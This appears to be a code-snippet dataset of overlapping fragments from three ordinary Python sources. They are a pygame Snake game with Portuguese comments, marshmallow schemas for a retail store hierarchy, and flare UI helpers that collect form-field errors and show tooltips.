"para ela crescer crescer = True # Coloca o corpo logo onde a",
"nao esta na cobra macaY = (randint(0,19)*30)+1 macaX = (randint(0,19)*30)+1 while((macaX in listaXCorpo)",
"bater na borda if (cabecaX < 0) or (cabecaX > 600) or (cabecaY",
"== macaY): matriz_do_tabuleiro[(macaY-1)//30][(macaX-1)//30] = 0 pontos += 1 macaY = (randint(0,19)*30)+1 macaX =",
"crescer ou nao crescer = False pygame.time.wait(1000) # Game Loop running = True",
"crescer = False # Coloca a cabeca no espaco seguinte cabecaFunc(cabecaX, cabecaY) #",
"manter armazenadas as posicoes do corpo # (Ja com a configuracao inicial) listaXCorpo",
"macaX = (randint(0,19)*30)+1 while((macaX in listaXCorpo) and (macaY in listaYCorpo)): macaY = (randint(0,19)*30)+1",
"apertada if event.type == pygame.KEYDOWN: rodada += 1 if not fim_de_jogo and rodada",
"ela crescer crescer = True # Coloca o corpo logo onde a cabeca",
"# Jogo comeca indo para a direita cabecaXChange = 30 cabecaYChange = 0",
"posicao da da maca na matriz if (cabecaX == macaX and cabecaY ==",
"= False rodada = 0 # Define fonte pontos = 0 font =",
"de treino for c in range (2): # Inicializa o pygame pygame.init() #",
"cabecaY) corpoFunc(91, 271) corpoFunc(121, 271) corpoFunc(151, 271) matriz_do_tabuleiro[(271-1)//30][(91-1)//30] = -1 matriz_do_tabuleiro[(271-1)//30][(121-1)//30] = -1",
"verificar se a cobra deve crescer ou nao crescer = False pygame.time.wait(1000) #",
"ja esteja indo para a desejada if (event.key == pygame.K_LEFT) and (cabecaXChange ==",
"600) or (cabecaY > 600) or (cabecaY < 0): # Plot do placar",
"na cobra macaY = (randint(0,19)*30)+1 macaX = (randint(0,19)*30)+1 while((macaX in listaXCorpo) and (macaY",
"0): imagemCabeca = pygame.image.load(\"images/cabeça_baixo.png\") cabecaXChange = 0 cabecaYChange = 30 if (event.key ==",
"if rodada>0: # Se a maca for pega, add 1 ponto e cria",
"quadrado verde # Caso crescer == True faz a cobra crescer 1 espaco",
"pygame.image.load(\"images/cabeça_esquerda.png\") cabecaXChange = -30 cabecaYChange = 0 if (event.key == pygame.K_RIGHT) and (cabecaXChange",
"if (event.key == pygame.K_UP) and (cabecaYChange == 0): imagemCabeca = pygame.image.load(\"images/cabeça_cima.png\") cabecaXChange =",
"tabuleiro em si para a cebeca ser centralizada # e poder enxergar o",
"Load das imagens imagemCorpo = pygame.image.load(\"images/corpo.png\") imagemCabeca = pygame.image.load(\"images/cabeça_direita.png\") imagemQuadradoFundo = pygame.image.load(\"images/quadrado_do_fundo.png\") imagemMaca",
"= (macaY-1)/30 #listaEntrada[4] = (cabecaX-1)/30 #listaEntrada[5] = (cabecaY-1)/30 # Get dos eventos for",
"da cauda com quadrado verde # Caso crescer == True faz a cobra",
"do corpo cabecaFunc(cabecaX, cabecaY) corpoFunc(91, 271) corpoFunc(121, 271) corpoFunc(151, 271) matriz_do_tabuleiro[(271-1)//30][(91-1)//30] = -1",
"nao muda de direcao caso ja esteja indo para a desejada if (event.key",
"> 600) or (cabecaY < 0): # Plot do placar placarFunc(210,270) cabecaXChange =",
"0 cabecaYChange = 0 fim_de_jogo = True # Cobre a ponta da cauda",
"fundo def quadradoFundoFunc(x, y): screen.blit(imagemQuadradoFundo, (x,y)) # Funcao para inserir a maca def",
"= pygame.image.load(\"images/cabeça_direita.png\") cabecaXChange = 30 cabecaYChange = 0 if (event.key == pygame.K_DOWN) and",
"apareca em cima da cobra while((macaX in listaXCorpo) and (macaY in listaYCorpo)): macaY",
"= 30 cabecaYChange = 0 if (event.key == pygame.K_DOWN) and (cabecaYChange == 0):",
"if (cabecaX == macaX and cabecaY == macaY): matriz_do_tabuleiro[(macaY-1)//30][(macaX-1)//30] = 0 pontos +=",
"= 0 # Listas para manter armazenadas as posicoes do corpo # (Ja",
"nao crescer = False pygame.time.wait(1000) # Game Loop running = True while running:",
"+ str(pontos), True, (255, 255, 255)) screen.blit(placar, (x,y)) # Loop de treino for"
] |
[
"hiera_data(self, category): res = { 'name': category.name, 'children': [] } sub_categories = category.sub_categories",
"fields.Integer() def hiera_data(self, department): res = { 'name': department.name, 'children': [] } categories",
"res class CategorySchema(BaseSchema): department_id = fields.Integer() def hiera_data(self, category): res = { 'name':",
"fields.Integer() def hiera_data(self, category): res = { 'name': category.name, 'children': [] } sub_categories",
"return res class CategorySchema(BaseSchema): department_id = fields.Integer() def hiera_data(self, category): res = {",
"in departments: res['children'].append( department_schema.hiera_data(department)) return res class DepartmentSchema(BaseSchema): location_id = fields.Integer() def hiera_data(self,",
"department.categories category_schema = CategorySchema() for category in categories: res['children'].append( category_schema.hiera_data(category)) return res class",
"category.sub_categories for sub_category in sub_categories: res['children'].append({ \"name\": sub_category.name }) return res class SubCategorySchema(BaseSchema):",
"department.name, 'children': [] } categories = department.categories category_schema = CategorySchema() for category in",
"department_schema.hiera_data(department)) return res class DepartmentSchema(BaseSchema): location_id = fields.Integer() def hiera_data(self, department): res =",
"created_at = fields.DateTime(attribute=\"created_at\") class LocationSchema(BaseSchema): def hiera_data(self, location): res = { 'name': location.name,",
"CategorySchema() for category in categories: res['children'].append( category_schema.hiera_data(category)) return res class CategorySchema(BaseSchema): department_id =",
"= location.departments department_schema = DepartmentSchema() for department in departments: res['children'].append( department_schema.hiera_data(department)) return res",
"category.name, 'children': [] } sub_categories = category.sub_categories for sub_category in sub_categories: res['children'].append({ \"name\":",
"= fields.DateTime(attribute=\"created_at\") class LocationSchema(BaseSchema): def hiera_data(self, location): res = { 'name': location.name, 'children':",
"def hiera_data(self, location): res = { 'name': location.name, 'children': [] } departments =",
"BaseSchema(Schema): id = fields.Integer() name = fields.String(required=True) description = fields.String() created_at = fields.DateTime(attribute=\"created_at\")",
"def hiera_data(self, category): res = { 'name': category.name, 'children': [] } sub_categories =",
"marshmallow import fields, Schema class BaseSchema(Schema): id = fields.Integer() name = fields.String(required=True) description",
"for sub_category in sub_categories: res['children'].append({ \"name\": sub_category.name }) return res class SubCategorySchema(BaseSchema): category_id",
"= fields.Integer() name = fields.String(required=True) description = fields.String() created_at = fields.DateTime(attribute=\"created_at\") class LocationSchema(BaseSchema):",
"def hiera_data(self, department): res = { 'name': department.name, 'children': [] } categories =",
"departments = location.departments department_schema = DepartmentSchema() for department in departments: res['children'].append( department_schema.hiera_data(department)) return",
"categories: res['children'].append( category_schema.hiera_data(category)) return res class CategorySchema(BaseSchema): department_id = fields.Integer() def hiera_data(self, category):",
"res = { 'name': category.name, 'children': [] } sub_categories = category.sub_categories for sub_category",
"departments: res['children'].append( department_schema.hiera_data(department)) return res class DepartmentSchema(BaseSchema): location_id = fields.Integer() def hiera_data(self, department):",
"class BaseSchema(Schema): id = fields.Integer() name = fields.String(required=True) description = fields.String() created_at =",
"fields.DateTime(attribute=\"created_at\") class LocationSchema(BaseSchema): def hiera_data(self, location): res = { 'name': location.name, 'children': []",
"res = { 'name': location.name, 'children': [] } departments = location.departments department_schema =",
"{ 'name': location.name, 'children': [] } departments = location.departments department_schema = DepartmentSchema() for",
"'children': [] } departments = location.departments department_schema = DepartmentSchema() for department in departments:",
"location.departments department_schema = DepartmentSchema() for department in departments: res['children'].append( department_schema.hiera_data(department)) return res class",
"hiera_data(self, department): res = { 'name': department.name, 'children': [] } categories = department.categories",
"[] } departments = location.departments department_schema = DepartmentSchema() for department in departments: res['children'].append(",
"description = fields.String() created_at = fields.DateTime(attribute=\"created_at\") class LocationSchema(BaseSchema): def hiera_data(self, location): res =",
"fields.String(required=True) description = fields.String() created_at = fields.DateTime(attribute=\"created_at\") class LocationSchema(BaseSchema): def hiera_data(self, location): res",
"id = fields.Integer() name = fields.String(required=True) description = fields.String() created_at = fields.DateTime(attribute=\"created_at\") class",
"location): res = { 'name': location.name, 'children': [] } departments = location.departments department_schema",
"department_schema = DepartmentSchema() for department in departments: res['children'].append( department_schema.hiera_data(department)) return res class DepartmentSchema(BaseSchema):",
"'name': category.name, 'children': [] } sub_categories = category.sub_categories for sub_category in sub_categories: res['children'].append({",
"LocationSchema(BaseSchema): def hiera_data(self, location): res = { 'name': location.name, 'children': [] } departments",
"} categories = department.categories category_schema = CategorySchema() for category in categories: res['children'].append( category_schema.hiera_data(category))",
"sub_category in sub_categories: res['children'].append({ \"name\": sub_category.name }) return res class SubCategorySchema(BaseSchema): category_id =",
"location_id = fields.Integer() def hiera_data(self, department): res = { 'name': department.name, 'children': []",
"= category.sub_categories for sub_category in sub_categories: res['children'].append({ \"name\": sub_category.name }) return res class",
"= department.categories category_schema = CategorySchema() for category in categories: res['children'].append( category_schema.hiera_data(category)) return res",
"= fields.Integer() def hiera_data(self, department): res = { 'name': department.name, 'children': [] }",
"'children': [] } categories = department.categories category_schema = CategorySchema() for category in categories:",
"} sub_categories = category.sub_categories for sub_category in sub_categories: res['children'].append({ \"name\": sub_category.name }) return",
"= { 'name': department.name, 'children': [] } categories = department.categories category_schema = CategorySchema()",
"= fields.String(required=True) description = fields.String() created_at = fields.DateTime(attribute=\"created_at\") class LocationSchema(BaseSchema): def hiera_data(self, location):",
"import fields, Schema class BaseSchema(Schema): id = fields.Integer() name = fields.String(required=True) description =",
"res class DepartmentSchema(BaseSchema): location_id = fields.Integer() def hiera_data(self, department): res = { 'name':",
"{ 'name': category.name, 'children': [] } sub_categories = category.sub_categories for sub_category in sub_categories:",
"from marshmallow import fields, Schema class BaseSchema(Schema): id = fields.Integer() name = fields.String(required=True)",
"in sub_categories: res['children'].append({ \"name\": sub_category.name }) return res class SubCategorySchema(BaseSchema): category_id = fields.Integer()",
"department in departments: res['children'].append( department_schema.hiera_data(department)) return res class DepartmentSchema(BaseSchema): location_id = fields.Integer() def",
"'children': [] } sub_categories = category.sub_categories for sub_category in sub_categories: res['children'].append({ \"name\": sub_category.name",
"= { 'name': category.name, 'children': [] } sub_categories = category.sub_categories for sub_category in",
"categories = department.categories category_schema = CategorySchema() for category in categories: res['children'].append( category_schema.hiera_data(category)) return",
"'name': location.name, 'children': [] } departments = location.departments department_schema = DepartmentSchema() for department",
"class LocationSchema(BaseSchema): def hiera_data(self, location): res = { 'name': location.name, 'children': [] }",
"<filename>retailstore/serializers/schemas.py<gh_stars>1-10 from marshmallow import fields, Schema class BaseSchema(Schema): id = fields.Integer() name =",
"department): res = { 'name': department.name, 'children': [] } categories = department.categories category_schema",
"CategorySchema(BaseSchema): department_id = fields.Integer() def hiera_data(self, category): res = { 'name': category.name, 'children':",
"return res class DepartmentSchema(BaseSchema): location_id = fields.Integer() def hiera_data(self, department): res = {",
"category in categories: res['children'].append( category_schema.hiera_data(category)) return res class CategorySchema(BaseSchema): department_id = fields.Integer() def",
"class CategorySchema(BaseSchema): department_id = fields.Integer() def hiera_data(self, category): res = { 'name': category.name,",
"Schema class BaseSchema(Schema): id = fields.Integer() name = fields.String(required=True) description = fields.String() created_at",
"res['children'].append( category_schema.hiera_data(category)) return res class CategorySchema(BaseSchema): department_id = fields.Integer() def hiera_data(self, category): res",
"res = { 'name': department.name, 'children': [] } categories = department.categories category_schema =",
"category_schema.hiera_data(category)) return res class CategorySchema(BaseSchema): department_id = fields.Integer() def hiera_data(self, category): res =",
"department_id = fields.Integer() def hiera_data(self, category): res = { 'name': category.name, 'children': []",
"DepartmentSchema() for department in departments: res['children'].append( department_schema.hiera_data(department)) return res class DepartmentSchema(BaseSchema): location_id =",
"hiera_data(self, location): res = { 'name': location.name, 'children': [] } departments = location.departments",
"for department in departments: res['children'].append( department_schema.hiera_data(department)) return res class DepartmentSchema(BaseSchema): location_id = fields.Integer()",
"[] } categories = department.categories category_schema = CategorySchema() for category in categories: res['children'].append(",
"sub_categories = category.sub_categories for sub_category in sub_categories: res['children'].append({ \"name\": sub_category.name }) return res",
"= CategorySchema() for category in categories: res['children'].append( category_schema.hiera_data(category)) return res class CategorySchema(BaseSchema): department_id",
"DepartmentSchema(BaseSchema): location_id = fields.Integer() def hiera_data(self, department): res = { 'name': department.name, 'children':",
"res['children'].append( department_schema.hiera_data(department)) return res class DepartmentSchema(BaseSchema): location_id = fields.Integer() def hiera_data(self, department): res",
"} departments = location.departments department_schema = DepartmentSchema() for department in departments: res['children'].append( department_schema.hiera_data(department))",
"fields, Schema class BaseSchema(Schema): id = fields.Integer() name = fields.String(required=True) description = fields.String()",
"{ 'name': department.name, 'children': [] } categories = department.categories category_schema = CategorySchema() for",
"[] } sub_categories = category.sub_categories for sub_category in sub_categories: res['children'].append({ \"name\": sub_category.name })",
"= { 'name': location.name, 'children': [] } departments = location.departments department_schema = DepartmentSchema()",
"class DepartmentSchema(BaseSchema): location_id = fields.Integer() def hiera_data(self, department): res = { 'name': department.name,",
"fields.Integer() name = fields.String(required=True) description = fields.String() created_at = fields.DateTime(attribute=\"created_at\") class LocationSchema(BaseSchema): def",
"'name': department.name, 'children': [] } categories = department.categories category_schema = CategorySchema() for category",
"category_schema = CategorySchema() for category in categories: res['children'].append( category_schema.hiera_data(category)) return res class CategorySchema(BaseSchema):",
"= fields.String() created_at = fields.DateTime(attribute=\"created_at\") class LocationSchema(BaseSchema): def hiera_data(self, location): res = {",
"= DepartmentSchema() for department in departments: res['children'].append( department_schema.hiera_data(department)) return res class DepartmentSchema(BaseSchema): location_id",
"location.name, 'children': [] } departments = location.departments department_schema = DepartmentSchema() for department in",
"= fields.Integer() def hiera_data(self, category): res = { 'name': category.name, 'children': [] }",
"for category in categories: res['children'].append( category_schema.hiera_data(category)) return res class CategorySchema(BaseSchema): department_id = fields.Integer()",
"name = fields.String(required=True) description = fields.String() created_at = fields.DateTime(attribute=\"created_at\") class LocationSchema(BaseSchema): def hiera_data(self,",
"in categories: res['children'].append( category_schema.hiera_data(category)) return res class CategorySchema(BaseSchema): department_id = fields.Integer() def hiera_data(self,",
"category): res = { 'name': category.name, 'children': [] } sub_categories = category.sub_categories for",
"fields.String() created_at = fields.DateTime(attribute=\"created_at\") class LocationSchema(BaseSchema): def hiera_data(self, location): res = { 'name':"
] |
[
"from flare.i18n import translate from flare import html5 def collectBoneErrors(errorList, currentKey,boneStructure): ''' severity:",
"ToDO Field dependency! if isError: thisError = error.copy() thisError[\"fieldPath\"] = error[\"fieldPath\"][1:] boneErrors.append(thisError) return",
"\"\\n\", \"<br />\" ) def onClick(self, event): self.toggleClass(\"is-open\") def _setDisabled(self, disabled): return def",
"_setDisabled(self, disabled): return def _getDisabled(self): return False #Not used def buildBoneErrors(errorList): boneErrors =",
"error in errorList: thisError = error.copy() thisError[ \"fieldPath\" ] = error[ \"fieldPath\" ][",
").__init__( *args, **kwargs ) self[\"class\"] = \"vi-tooltip msg msg--error is-active is-open\" self.sinkEvent(\"onClick\") self.prependChild(",
"return boneErrors class ToolTipError(html5.Div): \"\"\" Small utility class for providing tooltips \"\"\" def",
"= error.copy() thisError[\"fieldPath\"] = error[\"fieldPath\"][1:] boneErrors.append(thisError) return boneErrors class ToolTipError(html5.Div): \"\"\" Small utility",
"= translate(\"vi.tooltip.error\") self.tooltipDescr.element.innerHTML = longText.replace( \"\\n\", \"<br />\" ) def onClick(self, event): self.toggleClass(\"is-open\")",
"= error[ \"fieldPath\" ][ 1: ] if error[ \"fieldPath\" ] and error[ \"fieldPath\"",
"] if error[ \"fieldPath\" ] and error[ \"fieldPath\" ][ 0 ] not in",
"] not in boneErrors: boneErrors.update({error[ \"fieldPath\" ][ 1 ]:[thisError]}) else: boneErrors[error[ \"fieldPath\" ][",
"checkErrors(bone) -> Tuple[bool, List[str]]: ''' first return value is a shortcut to test",
"if bone is valid or not second returns a list of fields which",
"= 2 Invalid = 3 ''' boneErrors = [] for error in errorList",
"InvalidatesOther = 1 Empty = 2 Invalid = 3 ''' boneErrors = []",
"first return value is a shortcut to test if bone is valid or",
"1 Empty = 2 Invalid = 3 ''' boneErrors = [] for error",
"isError = True elif error[\"severity\"] ==3: isError = True # ToDO Field dependency!",
"][ 0 ] not in boneErrors: boneErrors.update({error[ \"fieldPath\" ][ 1 ]:[thisError]}) else: boneErrors[error[",
"and error[\"fieldPath\"][0] == currentKey: isError = False if (error[\"severity\"] == 0 or error[\"severity\"]",
"boneErrors[error[ \"fieldPath\" ][ 1 ]].append(thisError) return boneErrors def checkErrors(bone) -> Tuple[bool, List[str]]: '''",
"] and error[ \"fieldPath\" ][ 0 ] not in boneErrors: boneErrors.update({error[ \"fieldPath\" ][",
"ReadFromClientErrorSeverity from flare.icons import SvgIcon from flare.i18n import translate from flare import html5",
"return value is a shortcut to test if bone is valid or not",
"error in errors: if ( (error[\"severity\"] == ReadFromClientErrorSeverity.Empty and bone[\"required\"]) or (error[\"severity\"] ==",
"#Not used def buildBoneErrors(errorList): boneErrors = {} for error in errorList: thisError =",
"isError = False if (error[\"severity\"] == 0 or error[\"severity\"] == 2) and boneStructure[\"required\"]:",
"else: boneErrors[error[ \"fieldPath\" ][ 1 ]].append(thisError) return boneErrors def checkErrors(bone) -> Tuple[bool, List[str]]:",
"elif error[\"severity\"] ==3: isError = True # ToDO Field dependency! if isError: thisError",
"msg--error is-active is-open\" self.sinkEvent(\"onClick\") self.prependChild( SvgIcon( \"icon-arrow-right\", title = shortText ) ) #language=HTMl",
"= [] for error in errorList or []: if error[\"fieldPath\"] and error[\"fieldPath\"][0] ==",
"<div class=\"msg-content\" [name]=\"tooltipMsg\"> <h2 class=\"msg-headline\" [name]=\"tooltipHeadline\"></h2> <div class=\"msg-descr\" [name]=\"tooltipDescr\"></div> </div> \"\"\") self.tooltipHeadline.element.innerHTML =",
"def buildBoneErrors(errorList): boneErrors = {} for error in errorList: thisError = error.copy() thisError[",
"*args, **kwargs): super( ToolTipError, self ).__init__( *args, **kwargs ) self[\"class\"] = \"vi-tooltip msg",
"(error[\"severity\"] == ReadFromClientErrorSeverity.InvalidatesOther) ): if error[\"invalidatedFields\"]: invalidatedFields.extend(error[\"invalidatedFields\"]) # We found only warnings if",
"html5 def collectBoneErrors(errorList, currentKey,boneStructure): ''' severity: NotSet = 0 InvalidatesOther = 1 Empty",
"List[str]]: ''' first return value is a shortcut to test if bone is",
"= 0 InvalidatesOther = 1 Empty = 2 Invalid = 3 ''' boneErrors",
"<div class=\"msg-descr\" [name]=\"tooltipDescr\"></div> </div> \"\"\") self.tooltipHeadline.element.innerHTML = translate(\"vi.tooltip.error\") self.tooltipDescr.element.innerHTML = longText.replace( \"\\n\", \"<br",
"boneErrors.update({error[ \"fieldPath\" ][ 1 ]:[thisError]}) else: boneErrors[error[ \"fieldPath\" ][ 1 ]].append(thisError) return boneErrors",
"Empty = 2 Invalid = 3 ''' boneErrors = [] for error in",
"1: ] if error[ \"fieldPath\" ] and error[ \"fieldPath\" ][ 0 ] not",
"or error[\"severity\"] == 2) and boneStructure[\"required\"]: isError = True elif error[\"severity\"] ==3: isError",
"error[\"severity\"] ==3: isError = True # ToDO Field dependency! if isError: thisError =",
"return def _getDisabled(self): return False #Not used def buildBoneErrors(errorList): boneErrors = {} for",
"this bone if not errors: return False, list() invalidatedFields = list() isInvalid =",
"return boneErrors def checkErrors(bone) -> Tuple[bool, List[str]]: ''' first return value is a",
"ToolTipError, self ).__init__( *args, **kwargs ) self[\"class\"] = \"vi-tooltip msg msg--error is-active is-open\"",
"Field dependency! if isError: thisError = error.copy() thisError[\"fieldPath\"] = error[\"fieldPath\"][1:] boneErrors.append(thisError) return boneErrors",
"= longText.replace( \"\\n\", \"<br />\" ) def onClick(self, event): self.toggleClass(\"is-open\") def _setDisabled(self, disabled):",
"event): self.toggleClass(\"is-open\") def _setDisabled(self, disabled): return def _getDisabled(self): return False #Not used def",
"\"\"\" Small utility class for providing tooltips \"\"\" def __init__(self, shortText=\"\", longText=\"\", *args,",
"==3: isError = True # ToDO Field dependency! if isError: thisError = error.copy()",
"fields which are invalid through this bone ''' errors = bone[\"errors\"] #no errors",
"of fields which are invalid through this bone ''' errors = bone[\"errors\"] #no",
"SvgIcon( \"icon-arrow-right\", title = shortText ) ) #language=HTMl self.fromHTML(\"\"\" <div class=\"msg-content\" [name]=\"tooltipMsg\"> <h2",
"SvgIcon from flare.i18n import translate from flare import html5 def collectBoneErrors(errorList, currentKey,boneStructure): '''",
"\"icon-arrow-right\", title = shortText ) ) #language=HTMl self.fromHTML(\"\"\" <div class=\"msg-content\" [name]=\"tooltipMsg\"> <h2 class=\"msg-headline\"",
"class for providing tooltips \"\"\" def __init__(self, shortText=\"\", longText=\"\", *args, **kwargs): super( ToolTipError,",
"# ToDO Field dependency! if isError: thisError = error.copy() thisError[\"fieldPath\"] = error[\"fieldPath\"][1:] boneErrors.append(thisError)",
"are invalid through this bone ''' errors = bone[\"errors\"] #no errors for this",
"buildBoneErrors(errorList): boneErrors = {} for error in errorList: thisError = error.copy() thisError[ \"fieldPath\"",
"NotSet = 0 InvalidatesOther = 1 Empty = 2 Invalid = 3 '''",
"second returns a list of fields which are invalid through this bone '''",
"if isError: thisError = error.copy() thisError[\"fieldPath\"] = error[\"fieldPath\"][1:] boneErrors.append(thisError) return boneErrors class ToolTipError(html5.Div):",
"False, list() invalidatedFields = list() isInvalid = True for error in errors: if",
"# We found only warnings if not invalidatedFields: return False, list() return isInvalid,",
"from flare import html5 def collectBoneErrors(errorList, currentKey,boneStructure): ''' severity: NotSet = 0 InvalidatesOther",
"class=\"msg-headline\" [name]=\"tooltipHeadline\"></h2> <div class=\"msg-descr\" [name]=\"tooltipDescr\"></div> </div> \"\"\") self.tooltipHeadline.element.innerHTML = translate(\"vi.tooltip.error\") self.tooltipDescr.element.innerHTML = longText.replace(",
"\"fieldPath\" ][ 1 ]].append(thisError) return boneErrors def checkErrors(bone) -> Tuple[bool, List[str]]: ''' first",
"boneErrors class ToolTipError(html5.Div): \"\"\" Small utility class for providing tooltips \"\"\" def __init__(self,",
"True elif error[\"severity\"] ==3: isError = True # ToDO Field dependency! if isError:",
"flare.i18n import translate from flare import html5 def collectBoneErrors(errorList, currentKey,boneStructure): ''' severity: NotSet",
"= bone[\"errors\"] #no errors for this bone if not errors: return False, list()",
"errors: return False, list() invalidatedFields = list() isInvalid = True for error in",
"<h2 class=\"msg-headline\" [name]=\"tooltipHeadline\"></h2> <div class=\"msg-descr\" [name]=\"tooltipDescr\"></div> </div> \"\"\") self.tooltipHeadline.element.innerHTML = translate(\"vi.tooltip.error\") self.tooltipDescr.element.innerHTML =",
"List, Tuple #from flare.forms.bones.base import ReadFromClientErrorSeverity from flare.icons import SvgIcon from flare.i18n import",
"if not errors: return False, list() invalidatedFields = list() isInvalid = True for",
"We found only warnings if not invalidatedFields: return False, list() return isInvalid, invalidatedFields",
"\"fieldPath\" ][ 0 ] not in boneErrors: boneErrors.update({error[ \"fieldPath\" ][ 1 ]:[thisError]}) else:",
"translate from flare import html5 def collectBoneErrors(errorList, currentKey,boneStructure): ''' severity: NotSet = 0",
"1 ]:[thisError]}) else: boneErrors[error[ \"fieldPath\" ][ 1 ]].append(thisError) return boneErrors def checkErrors(bone) ->",
"/>\" ) def onClick(self, event): self.toggleClass(\"is-open\") def _setDisabled(self, disabled): return def _getDisabled(self): return",
"in errorList: thisError = error.copy() thisError[ \"fieldPath\" ] = error[ \"fieldPath\" ][ 1:",
"in boneErrors: boneErrors.update({error[ \"fieldPath\" ][ 1 ]:[thisError]}) else: boneErrors[error[ \"fieldPath\" ][ 1 ]].append(thisError)",
"0 ] not in boneErrors: boneErrors.update({error[ \"fieldPath\" ][ 1 ]:[thisError]}) else: boneErrors[error[ \"fieldPath\"",
"severity: NotSet = 0 InvalidatesOther = 1 Empty = 2 Invalid = 3",
"][ 1 ]].append(thisError) return boneErrors def checkErrors(bone) -> Tuple[bool, List[str]]: ''' first return",
"if error[\"fieldPath\"] and error[\"fieldPath\"][0] == currentKey: isError = False if (error[\"severity\"] == 0",
"utility class for providing tooltips \"\"\" def __init__(self, shortText=\"\", longText=\"\", *args, **kwargs): super(",
"= error.copy() thisError[ \"fieldPath\" ] = error[ \"fieldPath\" ][ 1: ] if error[",
"to test if bone is valid or not second returns a list of",
"def onClick(self, event): self.toggleClass(\"is-open\") def _setDisabled(self, disabled): return def _getDisabled(self): return False #Not",
"currentKey,boneStructure): ''' severity: NotSet = 0 InvalidatesOther = 1 Empty = 2 Invalid",
"bone is valid or not second returns a list of fields which are",
"#no errors for this bone if not errors: return False, list() invalidatedFields =",
"Invalid = 3 ''' boneErrors = [] for error in errorList or []:",
"True for error in errors: if ( (error[\"severity\"] == ReadFromClientErrorSeverity.Empty and bone[\"required\"]) or",
"for error in errorList or []: if error[\"fieldPath\"] and error[\"fieldPath\"][0] == currentKey: isError",
"error[ \"fieldPath\" ][ 1: ] if error[ \"fieldPath\" ] and error[ \"fieldPath\" ][",
"= True elif error[\"severity\"] ==3: isError = True # ToDO Field dependency! if",
"or not second returns a list of fields which are invalid through this",
"for error in errors: if ( (error[\"severity\"] == ReadFromClientErrorSeverity.Empty and bone[\"required\"]) or (error[\"severity\"]",
"== 0 or error[\"severity\"] == 2) and boneStructure[\"required\"]: isError = True elif error[\"severity\"]",
"\"\"\") self.tooltipHeadline.element.innerHTML = translate(\"vi.tooltip.error\") self.tooltipDescr.element.innerHTML = longText.replace( \"\\n\", \"<br />\" ) def onClick(self,",
"or (error[\"severity\"] == ReadFromClientErrorSeverity.InvalidatesOther) ): if error[\"invalidatedFields\"]: invalidatedFields.extend(error[\"invalidatedFields\"]) # We found only warnings",
"if (error[\"severity\"] == 0 or error[\"severity\"] == 2) and boneStructure[\"required\"]: isError = True",
"title = shortText ) ) #language=HTMl self.fromHTML(\"\"\" <div class=\"msg-content\" [name]=\"tooltipMsg\"> <h2 class=\"msg-headline\" [name]=\"tooltipHeadline\"></h2>",
"invalid through this bone ''' errors = bone[\"errors\"] #no errors for this bone",
"ReadFromClientErrorSeverity.InvalidatesOther) ): if error[\"invalidatedFields\"]: invalidatedFields.extend(error[\"invalidatedFields\"]) # We found only warnings if not invalidatedFields:",
"valid or not second returns a list of fields which are invalid through",
"and boneStructure[\"required\"]: isError = True elif error[\"severity\"] ==3: isError = True # ToDO",
"currentKey: isError = False if (error[\"severity\"] == 0 or error[\"severity\"] == 2) and",
"[name]=\"tooltipMsg\"> <h2 class=\"msg-headline\" [name]=\"tooltipHeadline\"></h2> <div class=\"msg-descr\" [name]=\"tooltipDescr\"></div> </div> \"\"\") self.tooltipHeadline.element.innerHTML = translate(\"vi.tooltip.error\") self.tooltipDescr.element.innerHTML",
"class=\"msg-descr\" [name]=\"tooltipDescr\"></div> </div> \"\"\") self.tooltipHeadline.element.innerHTML = translate(\"vi.tooltip.error\") self.tooltipDescr.element.innerHTML = longText.replace( \"\\n\", \"<br />\"",
"errors: if ( (error[\"severity\"] == ReadFromClientErrorSeverity.Empty and bone[\"required\"]) or (error[\"severity\"] == ReadFromClientErrorSeverity.InvalidatesOther) ):",
"flare.icons import SvgIcon from flare.i18n import translate from flare import html5 def collectBoneErrors(errorList,",
"which are invalid through this bone ''' errors = bone[\"errors\"] #no errors for",
"boneErrors = [] for error in errorList or []: if error[\"fieldPath\"] and error[\"fieldPath\"][0]",
"isError: thisError = error.copy() thisError[\"fieldPath\"] = error[\"fieldPath\"][1:] boneErrors.append(thisError) return boneErrors class ToolTipError(html5.Div): \"\"\"",
") ) #language=HTMl self.fromHTML(\"\"\" <div class=\"msg-content\" [name]=\"tooltipMsg\"> <h2 class=\"msg-headline\" [name]=\"tooltipHeadline\"></h2> <div class=\"msg-descr\" [name]=\"tooltipDescr\"></div>",
"bone ''' errors = bone[\"errors\"] #no errors for this bone if not errors:",
"return False #Not used def buildBoneErrors(errorList): boneErrors = {} for error in errorList:",
"= False if (error[\"severity\"] == 0 or error[\"severity\"] == 2) and boneStructure[\"required\"]: isError",
"errors for this bone if not errors: return False, list() invalidatedFields = list()",
"if error[ \"fieldPath\" ] and error[ \"fieldPath\" ][ 0 ] not in boneErrors:",
"0 or error[\"severity\"] == 2) and boneStructure[\"required\"]: isError = True elif error[\"severity\"] ==3:",
"dependency! if isError: thisError = error.copy() thisError[\"fieldPath\"] = error[\"fieldPath\"][1:] boneErrors.append(thisError) return boneErrors class",
"for providing tooltips \"\"\" def __init__(self, shortText=\"\", longText=\"\", *args, **kwargs): super( ToolTipError, self",
"longText.replace( \"\\n\", \"<br />\" ) def onClick(self, event): self.toggleClass(\"is-open\") def _setDisabled(self, disabled): return",
"error.copy() thisError[ \"fieldPath\" ] = error[ \"fieldPath\" ][ 1: ] if error[ \"fieldPath\"",
"1 ]].append(thisError) return boneErrors def checkErrors(bone) -> Tuple[bool, List[str]]: ''' first return value",
"is-active is-open\" self.sinkEvent(\"onClick\") self.prependChild( SvgIcon( \"icon-arrow-right\", title = shortText ) ) #language=HTMl self.fromHTML(\"\"\"",
"returns a list of fields which are invalid through this bone ''' errors",
"self.tooltipHeadline.element.innerHTML = translate(\"vi.tooltip.error\") self.tooltipDescr.element.innerHTML = longText.replace( \"\\n\", \"<br />\" ) def onClick(self, event):",
"error in errorList or []: if error[\"fieldPath\"] and error[\"fieldPath\"][0] == currentKey: isError =",
") self[\"class\"] = \"vi-tooltip msg msg--error is-active is-open\" self.sinkEvent(\"onClick\") self.prependChild( SvgIcon( \"icon-arrow-right\", title",
"disabled): return def _getDisabled(self): return False #Not used def buildBoneErrors(errorList): boneErrors = {}",
"def _getDisabled(self): return False #Not used def buildBoneErrors(errorList): boneErrors = {} for error",
"\"<br />\" ) def onClick(self, event): self.toggleClass(\"is-open\") def _setDisabled(self, disabled): return def _getDisabled(self):",
"''' errors = bone[\"errors\"] #no errors for this bone if not errors: return",
"if error[\"invalidatedFields\"]: invalidatedFields.extend(error[\"invalidatedFields\"]) # We found only warnings if not invalidatedFields: return False,",
"False #Not used def buildBoneErrors(errorList): boneErrors = {} for error in errorList: thisError",
